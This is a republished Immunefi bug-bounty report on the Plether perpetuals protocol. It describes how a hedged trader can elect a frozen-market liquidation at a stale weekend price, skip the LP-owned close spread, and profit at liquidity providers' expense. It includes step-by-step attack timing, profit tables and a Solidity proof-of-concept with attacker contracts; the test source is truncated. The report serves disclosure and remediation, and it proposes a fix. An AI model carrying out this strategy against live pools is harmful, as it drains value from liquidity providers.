Trader-timed frozen liquidation lets a hedged trader exit at a stale mark, shifting value from LPs
A trader holding two opposing positions can keep both above the frozen-market liquidation threshold with margin top-ups, then stop funding the leg expected to lose so it becomes liquidatable at the stale Friday mark. Because frozen liquidations skip the LP-owned frozen-close spread, the trader exits profitably while LP assets fall, as shown in matched tests against voluntary close and hold-both controls.
Originally disclosed on Immunefi
- Disclosed after under an hour
#98340 [SC-Medium] Trader-timed frozen liquidation lets a hedged trader exit at a stale mark, shifting value from LPs
Submitted on Nov 7th 2026 at 05:00:38 UTC by @tinnohofficial for Audit Competition | Plether
- Report ID: #98340
- Report Type: Smart Contract
- Report severity: Medium
- Target: https://github.com/immunefi-team/audit-comp-plether/tree/a82d4fefb02768e5b3bddcc97dee371eee24fea8/packages/perps/src
- Impacts:
- Theft of unclaimed yield
Description
Brief/Intro
An actor controlling two trader accounts with opposing positions can keep each above the 3% frozen-market liquidation boundary with addMargin, then stop supporting the leg it expects to lose at reopening. Carry makes that leg liquidatable while the oracle still uses Friday's mark. Unlike a voluntary close at that frozen mark, the liquidation is never charged the 50 bp LP-owned frozen-close spread. An unrelated permissionless keeper can liquidate it and take the keeper reward; the trader still retains a positive residual. The opposite leg remains open for Sunday's price move. In the release-parameter test with a 50 bp reopen gap and the direction decision made one hour before reopening, the trader gains 8,928.072203 to 8,945.393538 USDG while LP assets fall 15,736.704363 to 15,737.165698 USDG. Matched voluntary-close and hold-both controls lose money for the trader. A 25 bp gap also profits if the trader's own keeper wins the reward, but that smaller result is race-sensitive.
Why this is not the documented design or a known item
SECURITY.md lines 837–845 explicitly omit the spread from liquidations to preserve liveness; ACCOUNTING_SPEC.md and WHITEPAPER.md agree. The code follows that rule. The unaddressed composition is a trader-elected, positive-residual liquidation: the trader can fund both legs until learning which side to discard, then stop funding that side and liquidate it at Friday's mark. The matched controls show that choosing this route changes an unprofitable exit into a profitable one and reduces actual LP assets. Charging only a positive residual would leave zero-residual liquidations live. The project must decide whether this elective route falls within its stated liveness exception.
Known HIGH-1 concerns an already-published Pyth tick at order commitment, not a choice made before the Sunday reopen. MED-7 concerns choosing an older valid signed price; this test installs the final live mark itself. MED-10 concerns basket cap ordering, and MED-30 concerns automatic frozen stop-losses; neither is used here. The profit requires a correct pre-reopen direction decision and, in the 25 bp case, the attacker's keeper capturing the liquidation bounty. This is a conditional strategy, not a guaranteed return.
Vulnerability Details
The two exit paths have materially different LP protection
The release has a 50 bp frozen-close spread, 4 bp execution fee, 3% FAD margin, 10 bp liquidation charge, 50% keeper share, 10 bp maximum basket confidence, and a 25% adverse-confidence multiplier (DEPLOYMENT.md lines 123–147). A voluntary frozen close assesses the spread on the reduced notional in addition to its execution fee and signed VPI (CloseAccountingLib.sol lines 103–126). The spread is LP-owned (SECURITY.md lines 835–845).
During an oracle freeze, liquidation instead starts from the stored Engine mark and synthesizes a confidence interval at the configured maximum ratio (PletherOracle.sol lines 729–743). The adverse liquidation shift is 25% of that interval, or 2.5 bp at these settings (PletherOracle.sol lines 943–964). The charge is 10 bp of notional, subject to its collectible cap, and half goes to the keeper (LiquidationAccountingLib.sol lines 62–78). Price PnL, carry, and any accrued negative-VPI clawback still settle; this is not a free exit. The planner computes a positive residual for the account (CfdEnginePlanLib.sol lines 1527–1549). Liquidation does not compute a fresh close VPI delta, another documented limitation (SECURITY.md lines 1434–1442).
The trader can elect when the frozen liquidation becomes eligible
The frozen oracle reuses the same stored mark until reopening, while carry continues through the freeze (SECURITY.md line 953). Liquidation tests equity against the FAD margin, 300 bp at release (CfdEnginePlanLib.sol lines 1424–1473). CfdEngine.addMargin lets the position owner add margin without a market-status gate, realizing carry and then moving free settlement into active margin (CfdEngine.sol lines 495–529). A sufficiently funded trader can therefore keep both legs safe and stop supporting only the leg it wants liquidated. executeLiquidation is permissionless (OrderRouter.sol lines 486–499).
The test opens two positions of 4 million synthetic units each, one LONG and one SHORT, through public V3 orders against a 10 million USDG Junior pool. It splits the LONG open to respect the 40% skew limit; each position is roughly 4 million USDG notional at the $1 mark. It maintains both legs during the live 30-minute FAD lead, then, in one transaction during the final live second, submits a MockPyth feed update and parks both positions just above the frozen liquidation boundary with carry headroom to the decision time. A competing same-second or future-timestamp mark cannot replace it in the test. The frozen mark remains unchanged. This test models an admissible final-second feed update; a real trader needs an available signed update then and must budget for lead-period price movement.
At Sunday 20:00 UTC, one hour before reopening, the trader adds margin to the predicted winning leg and stops topping up the other. Carry makes the losing leg liquidatable 30 minutes later. In the 50 bp comparison an independent keeper calls executeLiquidation with an empty Pyth payload, collects the liquidation bounty, and leaves the trader profitable. In the 25 bp comparison the trader runs that keeper itself. After the Sunday reopen the winning leg closes at the new live mark. The Friday/Sunday timestamps are real market-calendar dates. A public post-reopen tick cannot choose the loser while retaining frozen pricing, so the attacker needs pre-reopen directional information. Neither the test nor this report establishes how often that information will be correct.
Why the documented exception is still a candidate issue
The stated liveness rationale is to keep liquidation possible during genuine closures. A position with positive residual can contribute an LP stale-exit amount capped by that residual without preventing liquidation or increasing a deficit. The trader-controlled top-up path is the difference from an involuntary liquidation of an undercollateralized trader. In the matched controls the trader can exit voluntarily at the same stale mark, but the 50 bp LP spread and signed close VPI make that trade unprofitable; holding both legs through the reopen is also unprofitable. The elective liquidation changes the trader's decision and produces an actual measured LP asset loss. This is a cross-path economic claim, not an allegation that the documented liquidation calculation is coded incorrectly.
The tested basket stays near 1.0, uses no protection order, and does not depend on the separate VPI reserve/share-timing finding.
Impact Details
All amounts below are six-decimal USDG. Within each gap/direction comparison, funding, release parameters, mark, and price path are fixed; the voluntary close commits at the same liquidation-eligibility minute and executes one second later. The tests assert conservation across the trader, LP pool, treasury, and independent keeper.
| Reopen gap | Chosen path | Trader net | LP pool net |
|---|---|---|---|
| Up 50 bp, one-hour decision | Liquidate LONG; independent keeper | +8,928.072203 | −15,736.704363 |
| Down 50 bp, one-hour decision | Liquidate SHORT; independent keeper | +8,945.393538 | −15,737.165698 |
| Up 50 bp | Voluntary frozen close | −15,670.068819 | +9,261.404659 |
| Down 50 bp | Voluntary frozen close | −15,653.666386 | +9,261.402226 |
| Up 50 bp | Hold both legs | −15,761.983009 | +9,345.718369 |
| Down 50 bp | Hold both legs | −15,570.427786 | +9,185.764106 |
| Up 25 bp, one-hour decision | Liquidate LONG; trader's keeper | +931.832299 | −5,736.464363 |
| Down 25 bp, one-hour decision | Liquidate SHORT; trader's keeper | +940.773474 | −5,737.005698 |
| Up 25 bp | Voluntary frozen close | −25,666.308723 | +19,261.644659 |
| Down 25 bp | Voluntary frozen close | −25,657.826450 | +19,261.562226 |
| Up 25 bp | Hold both legs | −15,713.844131 | +9,305.579683 |
| Down 25 bp | Hold both legs | −15,618.266361 | +9,225.602553 |
In the 50 bp branches the unrelated keeper's total scenario net, including a small common order bounty, is 2,000.600000 USDG (up) or 2,000.140000 USDG (down); neither amount is included in the trader net.
Both late-decision variants require substantial capital for two roughly 4 million USDG-notional legs, recurring top-ups, a signed final-second price update, and a correct direction forecast before reopening. The 30-minute threshold crossing depends on the tested carry utilization. The 50 bp result pays the independent keeper about 2,000 USDG and still leaves a trader profit; it is not a claim that every weekend offers a 50 bp gap. At 25 bp the trader captures that keeper reward itself, so a competing keeper can erase the narrow profit. The original Sunday-noon 50 bp comparison and a gap sweep are also reproduced in the PoC.
Claimed severity: High, theft of LP-owned unclaimed trading revenue and consequential LP asset loss. The spread is expressly owned by LPs when assessed on voluntary exits, and the positive-residual path makes an equivalent trader-elected stale exit cheaper. If the sponsor accepts the path as harmful but does not treat the avoided charge as unclaimed yield, Medium is the fallback. If it treats all trader-timed frozen liquidations as included in the deliberate exception, the report may be rejected as documented design; the tests do not erase that policy objection.
Recommendation
Apply a frozen stale-exit amount to the positive residual of a liquidation, bounded by that residual and credited to LPs, so insolvent and zero-residual liquidations still complete. Test trader-maintained positions at the FAD boundary and both reopen directions. Because this changes the stated liquidation policy, the project should first confirm that elective positive-residual liquidation is outside its intended liveness exception.
References
- SECURITY.md: frozen close and liquidation trade-off
- ACCOUNTING_SPEC.md: spread and action matrix
- WHITEPAPER.md: frozen liquidation pricing
- Supplementary deployed-release fork test source. The self-contained local tests below carry the submission's quantified claim; this link retains the previously prepared larger fork reproduction.
Link to Proof of Concept
https://gist.github.com/tinnohofficial/d26ee4cf398664b11aeb7ed9ca80ef26
Proof of Concept
Proof of concept
Save each source below as packages/perps/test/poc/<file name>, then run from the repository root at a82d4fefb02768e5b3bddcc97dee371eee24fea8. All tests use unmodified packages/perps/src, release parameters, MockPyth, and mock USDG. Calls use the production V3 commitOrder selector and public execution/liquidation; the harness's scalar adapter is unused. Each test ran twice. Excerpts are verbatim but noncontiguous; pass, gas, and scenario lines matched between runs. Amounts are six-decimal USDG atoms.
Noon 50 bp comparison
NO_COLOR=1 forge test --root packages/perps --match-path test/poc/TimedFrozenLiquidationExit.t.sol -vv
Run 1, selected output:
[PASS] test_CompareBothDirections() (gas: 87979884)
[PASS] test_FinalMarkIsFixedByAttackerTx() (gas: 10820408)
[PASS] test_GapDown_ExitShortBySelfTimedLiquidation() (gas: 13995191)
[PASS] test_GapUp_ExitLongBySelfTimedLiquidation() (gas: 13974938)
Suite result: ok. 4 passed; 0 failed; 0 skipped; finished in 117.72ms (156.59ms CPU time)
Run 2, same command, matching scenario lines:
Suite result: ok. 4 passed; 0 failed; 0 skipped; finished in 137.50ms (212.96ms CPU time)
TimedFrozenLiquidationExit.t.sol — complete source
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.35;
import {BasePerpTest} from "../perps/BasePerpTest.sol";
import {CfdEngine} from "@plether/perps/CfdEngine.sol";
import {CfdEngineLens} from "@plether/perps/CfdEngineLens.sol";
import {CfdTypes} from "@plether/perps/CfdTypes.sol";
import {OrderV3Types} from "@plether/perps/OrderV3Types.sol";
import {PletherOracle} from "@plether/perps/PletherOracle.sol";
import {IOrderRouterAdminHost} from "@plether/perps/interfaces/IOrderRouterAdminHost.sol";
import {MockPyth} from "@plether/test-utils/MockPyth.sol";
import {console2} from "forge-std/console2.sol";
/// @notice Minimal smart-account trader leg (any AA/contract wallet). The owner is the attacker; the operator is the
/// attacker's own parking contract, so both legs can be topped up inside one transaction.
contract ParkedLeg {
address public immutable owner;
address public operator;
constructor(
address owner_
) {
owner = owner_;
}
function setOperator(
address operator_
) external {
require(msg.sender == owner, "owner");
operator = operator_;
}
function exec(
address target,
bytes calldata data
) external returns (bytes memory ret) {
require(msg.sender == owner || msg.sender == operator, "auth");
bool ok;
(ok, ret) = target.call(data);
if (!ok) {
assembly ("memory-safe") {
revert(add(ret, 32), mload(ret))
}
}
}
}
interface IMarkRouter {
function updateMarkPrice(
bytes[] calldata pythUpdateData
) external payable;
}
/// @notice Attacker contract. In ONE transaction during the last live second it (1) pushes the final pre-freeze
/// basket as an ordinary permissionless keeper, with publishTime == block.timestamp, so no later live mark can
/// exist, and (2) reads that final mark on-chain and tops each leg up to the FROZEN FAD boundary (mark +/- the
/// synthesized frozen confidence shift, 3% margin) plus `keep[i]` of carry headroom. addMargin can only add,
/// so a leg that already sits above the target is left untouched and the amount is reported as zero.
contract Parker {
function pushAndPark(
address router,
PletherOracle oracle,
CfdEngine engine,
CfdEngineLens lens,
bytes[] calldata update,
ParkedLeg[] calldata legs,
uint256[] calldata keep,
uint256 fadBps
) external returns (uint256[] memory added) {
IMarkRouter(router).updateMarkPrice(update);
uint256 mark = engine.lastMarkPrice();
uint256 shift =
((mark * oracle.basketMaxConfidenceRatioBps()) / 10_000) * oracle.adverseConfidenceMultiplierBps() / 10_000;
added = new uint256[](legs.length);
for (uint256 i; i < legs.length; ++i) {
address acct = address(legs[i]);
(uint256 size,,,, CfdTypes.Side side,,) = engine.positions(acct);
uint256 liq = side == CfdTypes.Side.LONG ? mark + shift : mark - shift;
int256 equity = lens.previewLiquidation(acct, liq).equityAssets;
int256 target = int256((size / 1e20) * liq * fadBps / 10_000 + keep[i] + 1);
if (equity < target) {
added[i] = uint256(target - equity);
legs[i].exec(address(engine), abi.encodeCall(CfdEngine.addMargin, (acct, added[i])));
}
}
}
}
/// @notice Self-timed frozen liquidation bypasses the frozen-close spread: atomic parking, both directions.
/// Covers three timing and direction constraints:
/// (1) final-mark jitter: the attacker itself pushes the last live mark with publishTime == block.timestamp in
/// the last live second and parks both legs in the same transaction; the test proves no other keeper can
/// replace that mark (same-second replacement and future publish times revert; post-freeze updates are
/// ignored).
/// (2) FAD-lead price drift: the basket moves during the 30-minute FAD lead and the attacker only tops up the
/// losing leg; the drift-induced excess is absorbed because the frozen liquidation price is 2.5 bp more
/// adverse than the live one, so both legs can still be parked exactly.
/// (3) "only one leg works": the weekend switch is exercised in BOTH directions (exit LONG on a gap up, exit
/// SHORT on a gap down) with the same parking.
/// Larger legs (4M per side on a 10M Junior pool, opened in two steps to respect the 40% skew cap) also raise
/// utilization, i.e. carry speed, and enlarge the bypassed spread/fee/VPI.
contract TimedFrozenLiquidationExitTest is BasePerpTest {
address internal constant KEEPER = address(0x4EE9E7); // independent keeper
address internal constant OTHER_KEEPER = address(0x0BAD5EED); // competing keeper trying to move the final mark
address internal constant SELF_KEEPER = address(0x5E1F); // attacker-owned keeper EOA
// Friday 2024-10-18 20:29:59 UTC = 16:29:59 EDT (one second before FAD). Same anchor as OracleRegimeMatrix.
uint256 internal constant BEFORE_FAD = 1_729_283_399;
uint256 internal constant FREEZE = BEFORE_FAD + 1801; // 21:00:00 UTC = 17:00 EDT
uint256 internal constant LAST_SECOND = FREEZE - 1; // 20:59:59 UTC, last live second
uint256 internal constant DECISION = FREEZE + 39 hours; // Sunday 12:00 UTC
uint256 internal constant REOPEN = FREEZE + 2 days; // Sunday 21:00 UTC = 17:00 EDT
uint256 internal constant LEG = 4_000_000e18;
uint256 internal constant HALF = 2_000_000e18;
uint256 internal constant FUND = 300_000e6;
uint256 internal constant CUSHION = 300e6; // live keep-alive cushion during the FAD lead (0.75 bp of 4M)
uint256 internal constant FINAL_PRICE = 100_002_000; // final pre-freeze basket 1.00002
uint256 internal constant GAP_BPS = 50; // Sunday reopen gap, 0.50%
uint8 internal constant MODE_ATTACK = 0;
uint8 internal constant MODE_VOLUNTARY = 1;
uint8 internal constant MODE_HOLD = 2;
ParkedLeg internal legA; // LONG
ParkedLeg internal legB; // SHORT
Parker internal parker;
struct Outcome {
uint256 loserExitCost;
int256 attackerNet;
int256 lpNet;
int256 treasuryNet;
int256 keeperNet;
uint256 minutesToCross;
uint256 parkedA;
uint256 parkedB;
}
function _riskParams() internal pure override returns (CfdTypes.RiskParams memory) {
// packages/perps/DEPLOYMENT.md "Initial release parameters".
return CfdTypes.RiskParams({
vpiFactor: 0.01e18,
maxSkewRatio: 0.4e18,
maintMarginBps: 10,
initMarginBps: 20,
fadMarginBps: 300,
baseCarryBps: 500,
minBountyAssets: 1e6,
bountyBps: 10,
keeperShareBps: 5000,
protocolShareBps: 0
});
}
function _initialJuniorDeposit() internal pure override returns (uint256) {
return 10_000_000e6;
}
function setUp() public override {
super.setUp();
_setSeniorCapacity(40_000_000e6, 8000);
IOrderRouterAdminHost.RouterConfig memory cfg = _routerConfig();
cfg.basketMaxConfidenceRatioBps = 10;
cfg.adverseConfidenceMultiplierBps = 2500;
_setRouterConfig(cfg);
legA = new ParkedLeg(address(this));
legB = new ParkedLeg(address(this));
parker = new Parker();
legA.setOperator(address(parker));
legB.setOperator(address(parker));
}
// ------------------------------------------------------------------ tests
/// @notice The attacker-pushed last-second mark cannot be replaced by anyone.
function test_FinalMarkIsFixedByAttackerTx() public {
_setupThroughFinalPark(true);
assertEq(engine.lastMarkTime(), LAST_SECOND, "attacker mark time");
assertEq(engine.lastMarkPrice(), FINAL_PRICE, "attacker mark price");
}
function test_GapUp_ExitLongBySelfTimedLiquidation() public {
Outcome memory o = _run(MODE_ATTACK, true);
_log("ATTACK gap UP (exit LONG A by self-timed frozen liquidation)", o);
assertGt(o.attackerNet, 0);
}
function test_GapDown_ExitShortBySelfTimedLiquidation() public {
Outcome memory o = _run(MODE_ATTACK, false);
_log("ATTACK gap DOWN (exit SHORT B by self-timed frozen liquidation)", o);
assertGt(o.attackerNet, 0);
}
function test_CompareBothDirections() public {
for (uint256 d; d < 2; ++d) {
bool up = d == 0;
uint256 s = vm.snapshotState();
Outcome memory attack = _run(MODE_ATTACK, up);
vm.revertToState(s);
Outcome memory vol = _run(MODE_VOLUNTARY, up);
vm.revertToState(s);
Outcome memory hold = _run(MODE_HOLD, up);
vm.revertToState(s);
console2.log(up ? "=== reopen gap UP 50 bp: loser = LONG A" : "=== reopen gap DOWN 50 bp: loser = SHORT B");
_log("ATTACK self-timed frozen liquidation (own keeper)", attack);
_log("CONTROL voluntary frozen close", vol);
_log("CONTROL hold both through reopen", hold);
console2.log(" extra LP loss vs voluntary path (USDG atoms)", uint256(vol.lpNet - attack.lpNet));
console2.log(" loser exit cost saved (USDG atoms) ", vol.loserExitCost - attack.loserExitCost);
assertGt(attack.attackerNet, 0, "liquidation branch profitable at 50 bp");
assertLt(vol.attackerNet, 0, "voluntary close branch unprofitable at 50 bp");
assertLt(hold.attackerNet, 0, "holding unprofitable");
assertLt(attack.lpNet, vol.lpNet, "LPs lose more on the liquidation branch");
assertLt(attack.lpNet, 0, "LPs lose on the liquidation branch");
}
}
// ------------------------------------------------------------------ scenario
/// @dev Opens the straddle, runs a drifting FAD lead with keep-alive top-ups, and executes the attacker's
/// one-transaction push-and-park in the last live second. Returns pool/treasury/keeper baselines.
function _setupThroughFinalPark(
bool proveFinality
) internal returns (uint256 poolBefore, uint256 treasuryBefore, uint256 keeperBefore, uint256[] memory added) {
// Thursday: fund and open 4M LONG (A) and 4M SHORT (B); A is opened in two halves to respect the 40% skew cap.
_go(BEFORE_FAD - 1 days);
_refresh(1e8);
_fundTrader(address(legA), FUND);
_fundTrader(address(legB), FUND);
poolBefore = pool.totalAssets();
treasuryBefore = clearinghouse.balanceAssets(engine.protocolTreasury());
keeperBefore = clearinghouse.balanceAssets(KEEPER);
_openLeg(address(legA), CfdTypes.Side.LONG, HALF, 10_000e6);
_openLeg(address(legB), CfdTypes.Side.SHORT, LEG, 20_000e6);
_openLeg(address(legA), CfdTypes.Side.LONG, HALF, 10_000e6);
(uint256 sa,,,,,,) = engine.positions(address(legA));
(uint256 sb,,,,,,) = engine.positions(address(legB));
assertEq(sa, LEG, "A open");
assertEq(sb, LEG, "B open");
// FAD lead (live prices, 3% margin). The basket drifts; after each tick the attacker re-tops the losing leg to
// the LIVE boundary + cushion. Neither leg is ever liquidatable, so third-party keepers cannot act.
uint256[4] memory path = [uint256(1e8), 100_006_000, 99_996_000, 100_001_000];
for (uint256 i; i < path.length; ++i) {
_go(BEFORE_FAD + i * 540);
_refresh(path[i]);
assertFalse(_liveLiquidatable(address(legA), path[i]), "A safe in lead");
assertFalse(_liveLiquidatable(address(legB), path[i]), "B safe in lead");
_keepAliveLive(address(legA), path[i]);
_keepAliveLive(address(legB), path[i]);
}
// Last live second: the attacker's single transaction pushes the final basket and parks both legs on the
// frozen boundary with carry headroom until the decision time (headroom computed off-chain beforehand).
_go(LAST_SECOND);
uint256[] memory keep = new uint256[](2);
keep[0] = _carryBetween(address(legA), CfdTypes.Side.LONG, LAST_SECOND, DECISION);
keep[1] = _carryBetween(address(legB), CfdTypes.Side.SHORT, LAST_SECOND, DECISION);
ParkedLeg[] memory legs = new ParkedLeg[](2);
legs[0] = legA;
legs[1] = legB;
bytes[] memory fin = _tick(FINAL_PRICE, uint64(LAST_SECOND), uint64(LAST_SECOND - 1));
added = parker.pushAndPark(address(router), pletherOracle, engine, engineLens, fin, legs, keep, 300);
console2.log(" carry headroom to decision A / B (USDG atoms)", keep[0], keep[1]);
console2.log(" one-tx park top-up A / B (USDG atoms) ", added[0], added[1]);
assertGt(added[0], 0, "A needed a top-up: lead excess absorbed by the frozen shift");
assertGt(added[1], 0, "B needed a top-up: lead excess absorbed by the frozen shift");
if (proveFinality) {
// Same second: a competing keeper cannot replace the final mark with a different price ...
vm.prank(OTHER_KEEPER);
vm.expectRevert();
router.updateMarkPrice(_payload(FINAL_PRICE - 3000, uint64(LAST_SECOND), uint64(LAST_SECOND - 1)));
// ... and cannot use a newer publish time while block.timestamp is still the last live second.
vm.prank(OTHER_KEEPER);
vm.expectRevert();
router.updateMarkPrice(_payload(FINAL_PRICE - 3000, uint64(FREEZE), uint64(LAST_SECOND)));
// After 17:00:00 New York the oracle is frozen: any update is ignored (or rejected); the mark is final.
_go(FREEZE + 1);
vm.prank(OTHER_KEEPER);
try router.updateMarkPrice(_payload(FINAL_PRICE - 3000, uint64(FREEZE + 1), uint64(FREEZE))) {} catch {}
assertEq(engine.lastMarkPrice(), FINAL_PRICE, "frozen mark unchanged");
assertEq(engine.lastMarkTime(), LAST_SECOND, "frozen mark time unchanged");
console2.log(" final mark fixed by attacker tx; competing keeper updates rejected/ignored");
}
}
function _run(
uint8 mode,
bool gapUp
) internal returns (Outcome memory o) {
(uint256 poolBefore, uint256 treasuryBefore, uint256 keeperBefore, uint256[] memory added) =
_setupThroughFinalPark(false);
o.parkedA = added[0];
o.parkedB = added[1];
// Freeze: neither leg is liquidatable (third-party keepers cannot act) and the switch budget is measured.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the frozen liquidation path deliberately omits the LP-owned frozen-close spread, and because a trader can freely add margin to keep positions alive, they can elect a positive-residual liquidation at the stale mark instead of paying the spread on a voluntary close.
Impact
In the tested 50 bp reopen scenario the trader gains roughly 8,928 to 8,945 USDG while LP assets fall roughly 15,736 to 15,737 USDG, though the result depends on a correct pre-reopen direction forecast and, at 25 bp, on the trader's own keeper winning the bounty.
What the attacker needed
Substantial capital for two large legs; recurring margin top-ups; a signed final-second price update; correct pre-reopen direction forecast
The fix
A frozen stale-exit amount should be applied to the positive residual of a liquidation, bounded by that residual and credited to LPs, so insolvent and zero-residual liquidations still complete.
How it was found
- Open two opposing positions of roughly equal notional through public orders, splitting the long to respect the skew limit.
- During the final live second, submit a price update and top both positions up to just above the frozen liquidation boundary with carry headroom.
- One hour before reopening, add margin to the predicted winning leg and stop topping up the other.
- Carry makes the losing leg liquidatable about 30 minutes later; an independent keeper calls executeLiquidation with an empty price payload.
- After the Sunday reopen, close the winning leg at the new live mark.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A trading platform freezes its price feed over a weekend but still lets positions be liquidated at the old Friday price. A trader with one long and one short position can keep both alive with extra collateral, then deliberately let the losing side be liquidated at that old price. Normally closing early costs a fee that goes to the liquidity providers; liquidation skips that fee, so the trader keeps money that would otherwise have gone to them.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.